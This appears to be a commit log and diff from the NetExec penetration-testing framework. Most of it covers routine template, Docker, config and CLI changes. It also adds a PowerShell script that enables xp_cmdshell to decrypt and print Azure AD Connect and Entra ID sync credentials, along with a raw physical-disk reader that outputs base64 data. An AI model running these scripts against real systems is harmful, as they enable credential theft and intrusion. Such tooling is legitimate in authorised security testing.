Alexander Neff ae6721aa9a Remove all FURB rules, makes code more complicated 2025-04-03 12:27:35 -04:00
Alexander Neff a42c664326 Autofix with ruff 2025-04-03 12:22:06 -04:00
Alexander Neff 5782352622 Remove rule which converts 'x if x else y' and deletes unused variables 2025-04-03 12:19:38 -04:00
Alexander Neff 1289a0e025 Enable preview mode as recommended in our doc guidelines 2025-04-03 12:10:49 -04:00
Alexander Neff dc415e75e4 Fixed string concatination that is only available in py3.12+ 2025-04-03 12:04:21 -04:00
Alexander Neff 61e2e58e50 Fix UP031, remove percent string replacements 2025-04-03 12:01:33 -04:00
Alexander Neff 66e9927c3e Fix UP031, remove percent string replacements 2025-04-03 11:57:47 -04:00
Alexander Neff 31373e4cac Don't check for D413, missing-blank-line-after-last-section 2025-04-03 11:02:14 -04:00
Alexander Neff f4ad70635a Fix LOG015 and replace all calls to root logger 2025-04-03 11:01:27 -04:00
Alexander Neff 2c29856d92 Update ruff settings declaration to reflect latest recommendations 2025-04-03 09:59:53 -04:00
Alexander Neff b35cfe0671 Update ruff settings declaration to reflect latest recommendations 2025-04-03 09:46:28 -04:00
Alexander Neff 351979375b Update ruff to latest version 2025-04-03 09:45:31 -04:00
Kriyos 7b1f60d83d Merge branch 'Pennyw0rth:main' into main 2025-03-24 19:41:56 -04:00
termanix 4fcc4fdce4 updated for killing notepad.exe process 2025-03-19 18:52:14 -04:00
termanix 7e23c1b318 e2e_commands.txt editted 2025-03-19 17:02:21 -04:00
termanix 4634473609 owner name 2025-03-19 16:56:53 -04:00
termanix c2437b2b9b New module add notepad 2025-03-19 16:47:23 -04:00
crosscutsaw e551d3e006 Update enable_cmdshell.py
Signed-off-by: crosscutsaw <[email protected]>
2025-03-09 22:07:51 +03:00
emre dc2a262598 Update presence.py
bugfix
2025-02-20 20:31:06 +03:00
emre a053462e8c Create presence.py
high privilege smb module that traces domain level admin presences in target
2025-02-09 13:03:56 +03:00
emre 619e477c1f Create enable_cmdshell.py
high privilege module that enables or disables xp_cmdshell in mssql server
2025-02-08 15:44:15 +03:00
emre fa3eba48df Update dump-computers.py
made some adjustments for better experience
2025-02-08 14:34:04 +03:00
emre 25ac2e2a2a Update dump-computers.py
added fqdn only
2025-02-07 16:56:13 +03:00
emre 8c37f34ace Create dump-computers.py
ldap module
2025-02-07 12:50:50 +03:00
Fagan Afandiyev 2f1bc026cc Delete nxc/modules/marbdawg.py
Signed-off-by: Fagan Afandiyev <[email protected]>
2025-01-10 19:19:35 -05:00
FaganAfandiyev a25e26b38d marbdawg beta 1.0 2025-01-10 19:17:37 -05:00
FaganAfandiyev 4e6b978406 Ruff changes 2025-01-06 18:39:04 -05:00
FaganAfandiyev 74f80e67ac Default value added to OLDPASS and OLDNTHASH option 2025-01-06 18:30:46 -05:00
FaganAfandiyev 4604d494f1 Fixing output types 2025-01-06 17:30:19 -05:00
Fagan Afandiyev 7371dea334 Merge pull request #1 from termanix/changepassupdate
Improvements on STATUS_PASSWORD_MUST_CHANGE and STATUS_PASSWORD_EXPIRED
2025-01-06 17:26:40 -05:00
termanix 761da40463 added comment lines
Signed-off-by: termanix <[email protected]>
2024-12-29 23:20:21 +02:00
termanix fb51b53885 update 2024-12-29 15:22:43 -05:00
FaganAfandiyev 50d551df54 Comment updates 2024-12-19 23:15:57 -05:00
FaganAfandiyev 70a5e053fc Updated version of change-password module with ruff changes 2024-12-19 23:13:15 -05:00
Yeeb1 4693d2118e Ran ruff 2024-11-24 10:07:57 +00:00
Yeeb1 cee469bd22 Created gpp_privileges module 2024-11-24 10:03:41 +00:00
Deft_ 899c516a75 Update recyclebin.py
Signed-off-by: Deft_ <[email protected]>
2024-10-16 20:16:36 +02:00
Deft_ bc26a1b222 [SMB] Rework --spider and add recyclebin.py module 2024-10-16 18:21:06 +02:00
Brian Giraldo 991673f095 New module that searches for files that contain aws credentials on windows and linux systems. 2024-10-15 23:24:55 -05:00
Hakan Yavuz e8830121e5 Get Two event with Single RPC call
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 16:39:18 +03:00
Hakan Yavuz 88e02f42cb Update eventlog_creds.py
fix for linter, spaces

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:25:24 +03:00
Hakan Yavuz c48ff38dbc Update eventlog_creds.py
add rpc method, 

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:15:51 +03:00
Hakan Yavuz efc143224b Create even6_parser.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:14:59 +03:00
Hakan Yavuz d2ffe24b15 Update eventlog_creds.py
fix for lint

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 01:16:32 +03:00
Hakan Yavuz 57fdac1c93 Update eventlog_creds.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 01:02:29 +03:00
Hakan Yavuz 2ebc410cb7 Create eventlog_creds.py
add new module

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 00:50:15 +03:00
185 changed files with 4902 additions and 1734 deletions

No files matched your search

+6 -2
View File
@@ -1,3 +1,5 @@
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
---
name: Bug report
about: Create a report to help us improve
@@ -7,6 +9,8 @@ assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
**NetExec info**
- OS: [e.g. Kali]
- Version of nxc: [e.g. v1.5.2]
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
**Additional context**
Add any other context about the problem here.
+11 -12
View File
@@ -1,36 +1,35 @@
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
Please also include relevant motivation and context.
List any dependencies that are required for this change.
## Type of change
Please delete options that are not relevant.
Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] Deprecation of feature or functionality
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## How Has This Been Tested?
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
If you are using poetry, you can easily run tests via:
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
- [ ] New and existing e2e tests pass locally with my changes
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
+1 -1
View File
@@ -20,7 +20,7 @@ jobs:
python-version: ${{ matrix.python-version }}
- name: Build Native Binary
run: |
pip install pyinstaller
pip install pyinstaller pillow
pip install .
pyinstaller netexec.spec
- name: Upload Windows Binary
+36 -13
View File
@@ -1,4 +1,32 @@
FROM python:3.11-slim
FROM python:3.13-slim-bookworm AS builder
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
RUN apt update && \
apt install -y --no-install-recommends \
libffi-dev \
libxml2-dev \
libxslt-dev \
libssl-dev \
openssl \
autoconf \
g++ \
python3-dev \
curl \
git \
unzip \
&& apt clean && rm -rf /var/lib/apt/lists/*
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
ENV PATH="/root/.cargo/bin:${PATH}"
RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
&& pip install .
FROM python:3.13-slim-bookworm
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
@@ -6,17 +34,12 @@ ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
RUN apt-get update && \
apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
RUN apt-get update
# Get Rust
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
# Add .cargo/bin to PATH
ENV PATH="/root/.cargo/bin:${PATH}"
# Check cargo is visible
RUN cargo --help
COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
COPY --from=builder /usr/local/bin /usr/local/bin
COPY . .
RUN pip install .
RUN apt update && \
apt install -y --no-install-recommends \
openssl \
&& apt clean && rm -rf /var/lib/apt/lists/*
ENTRYPOINT [ "nxc" ]
ENTRYPOINT ["nxc"]
+2 -1
View File
@@ -27,13 +27,13 @@ a = Analysis(
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'nxc.connection',
'nxc.servers.smb',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
'nxc.protocols.smb.smbexec',
@@ -44,6 +44,7 @@ a = Analysis(
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.even6_parser',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
+6 -13
View File
@@ -16,7 +16,7 @@ import importlib.metadata
def gen_cli_args():
setup_debug_logging()
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
DISTANCE, COMMIT = COMMIT.split(".")
@@ -25,29 +25,28 @@ def gen_cli_args():
COMMIT = ""
DISTANCE = ""
CODENAME = "SmoothOperator"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
. .
@@ -107,12 +106,6 @@ def gen_cli_args():
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -139,7 +132,7 @@ def gen_cli_args():
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args
return args, [CODENAME, VERSION, COMMIT, DISTANCE]
def get_module_names():
+9 -6
View File
@@ -1,7 +1,6 @@
import os
from os.path import join as path_join
import configparser
from nxc.paths import NXC_PATH, DATA_PATH
from nxc.paths import DATA_PATH, CONFIG_PATH
from nxc.first_run import first_run_setup
from nxc.logger import nxc_logger
from ast import literal_eval
@@ -10,20 +9,25 @@ nxc_default_config = configparser.ConfigParser()
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
nxc_config = configparser.ConfigParser()
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
nxc_config.read(CONFIG_PATH)
if "nxc" not in nxc_config.sections():
first_run_setup()
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
nxc_config.read(CONFIG_PATH)
# Check if there are any missing options in the config file
for section in nxc_default_config.sections():
if not nxc_config.has_section(section):
nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
nxc_config.add_section(section)
with open(CONFIG_PATH, "w") as config_file:
nxc_config.write(config_file)
for option in nxc_default_config.options(section):
if not nxc_config.has_option(section, option):
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
nxc_config.set(section, option, nxc_default_config.get(section, option))
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
with open(CONFIG_PATH, "w") as config_file:
nxc_config.write(config_file)
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
@@ -32,7 +36,6 @@ pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
+22 -21
View File
@@ -1,3 +1,5 @@
from datetime import datetime
import os
import random
import sys
import contextlib
@@ -15,6 +17,7 @@ from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
@@ -136,7 +139,11 @@ class connection:
# Authentication info
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
self.args.aesKey or
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
@@ -152,6 +159,11 @@ class connection:
self.local_ip = None
self.dns_server = self.args.dns_server
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
@@ -162,7 +174,7 @@ class connection:
if self.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.info(f"Socket info: host={self.host}, port={self.port}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
@@ -275,7 +287,7 @@ class connection:
extra={
"module_name": module.name.upper(),
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname,
},
)
@@ -284,11 +296,6 @@ class connection:
context = Context(self.db, module_logger, self.args)
context.localip = self.local_ip
if hasattr(module, "on_request") or hasattr(module, "has_response"):
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
self.server.connection = self
self.server.context.localip = self.local_ip
if hasattr(module, "on_login"):
self.logger.debug(f"Module {module.name} has on_login method")
module.on_login(context, self)
@@ -297,13 +304,8 @@ class connection:
self.logger.debug(f"Module {module.name} has on_admin_login method")
module.on_admin_login(context, self)
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
self.logger.debug(f"Module {module.name} has on_shutdown method")
module.on_shutdown(context, self)
def inc_failed_login(self, username):
global global_failed_logins
global user_failed_logins
global global_failed_logins, user_failed_logins
if username not in user_failed_logins:
user_failed_logins[username] = 0
@@ -313,8 +315,7 @@ class connection:
self.failed_logins += 1
def over_fail_limit(self, username):
global global_failed_logins
global user_failed_logins
global global_failed_logins, user_failed_logins
if global_failed_logins == self.args.gfail_limit:
return True
@@ -322,7 +323,7 @@ class connection:
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103
return True
return False
@@ -389,7 +390,7 @@ class connection:
if "\\" in line and len(line.split("\\")) == 2:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
username_single = line
domain.append(domain_single)
username.append(username_single.strip())
@@ -398,7 +399,7 @@ class connection:
if "\\" in user:
domain_single, username_single = user.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
username_single = user
domain.append(domain_single)
username.append(username_single)
@@ -427,14 +428,14 @@ class connection:
with open(ntlm_hash) as ntlm_hash_file:
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65:
if len(line) != 32 and len(line) != 65 and len(line) != 0:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
else:
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
+4 -2
View File
@@ -1,6 +1,8 @@
import configparser
import os
from nxc.paths import NXC_PATH, CONFIG_PATH
class Context:
def __init__(self, db, logger, args):
@@ -8,10 +10,10 @@ class Context:
setattr(self, key, value)
self.db = db
self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
self.log_folder_path = os.path.join(NXC_PATH, "logs")
self.localip = None
self.conf = configparser.ConfigParser()
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
self.conf.read(CONFIG_PATH)
self.log = logger
+82
View File
@@ -0,0 +1,82 @@
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
# Modified by @NeffIsBack:
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
function decrypter($crypted, $key_id, $instance_id, $entropy) {
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
$reader.Close()
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
return $decrypted
}
# Create a connection to the localdb instance of Azure AD Connect
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
return
}
function f {
param ($q)
$c = $client.CreateCommand()
$c.CommandText = $q
$r = $c.ExecuteReader()
if (-not $r.Read()) {
Write-Host "[!] Error querying: $q"
return
}
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
$r.Close()
return $res
}
# Get keyset_id, instance_id, entropy
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
if (-not $out) { return }
$key_id, $instance_id, $entropy = $out
# Get and decrypt on-prem AD credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
if (-not $out) { return }
$on_prem, $c = $out
$pd = decrypter $c $key_id $instance_id $entropy
# Get and decrypt Entra ID sync credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
if (-not $out) { return }
$entra, $c = $out
$qd = decrypter $c $key_id $instance_id $entropy
# Extract the credentials from the decrypted XML configurations
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "On-prem Domain: $($domain.Domain)"
Write-Host "On-prem Username: $($username.Username)"
Write-Host "On-prem Password: $($pw.Password)"
# Extract the Entra ID sync credentials
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Entra ID Username: $($entra_user)"
Write-Host "Entra ID Password: $($entra_pw.Password)"
-65
View File
@@ -1,65 +0,0 @@
$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
$db=@(cmd /c $sqlbin info | findstr /i ADSy)
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_server_configuration"
return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_management_agent"
return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
+95
View File
@@ -0,0 +1,95 @@
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class CNativeMethods
{
public const uint GENERIC_READ = 0x80000000;
public const uint OPEN_EXISTING = 3;
public const uint FILE_SHARE_READ = 0x00000001;
public const uint FILE_SHARE_WRITE = 0x00000002;
public const uint FILE_SHARE_DELETE = 0x00000004;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(
SafeFileHandle hFile,
byte[] lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetFilePointerEx(
SafeFileHandle hFile,
long lDistanceToMove,
out long lpNewFilePointer,
uint dwMoveMethod
);
}
public enum EMoveMethod : uint
{
Begin = 0,
Current = 1,
End = 2
}
"@
Function read_disk{
$offset = [long]$args[0]
$size = [int]$args[1]
try {
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
[CNativeMethods]::GENERIC_READ,
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
if ($handle.IsInvalid) {
throw "Failed to create file handle"
}
$moveToHigh = 0
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
if (-not $success) {
throw "Failed to set file pointer"
}
$buffer = New-Object byte[] $size
$bytesRead = 0
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
if (-not $success) {
throw "Failed to read file"
}
$memoryStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($buffer, 0, $buffer.Length)
$gzipStream.Close()
$compressedBytes = $memoryStream.ToArray()
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
Write-Output $compressedBase64
} catch {
Write-Error "An error occurred: $_"
}
finally {
if ($handle -and !$handle.IsInvalid) {
$handle.Close()
}
}
}
+3 -1
View File
@@ -5,7 +5,6 @@ pwn3d_label = Pwn3d!
audit_mode =
reveal_chars_of_pwd = 0
log_mode = False
ignore_opsec = True
host_info_colors = ["green", "red", "yellow", "cyan"]
[BloodHound]
@@ -15,6 +14,9 @@ bh_port = 7687
bh_user = neo4j
bh_pass = bloodhoundcommunityedition
[BloodHound-CE]
bhce_enabled = True
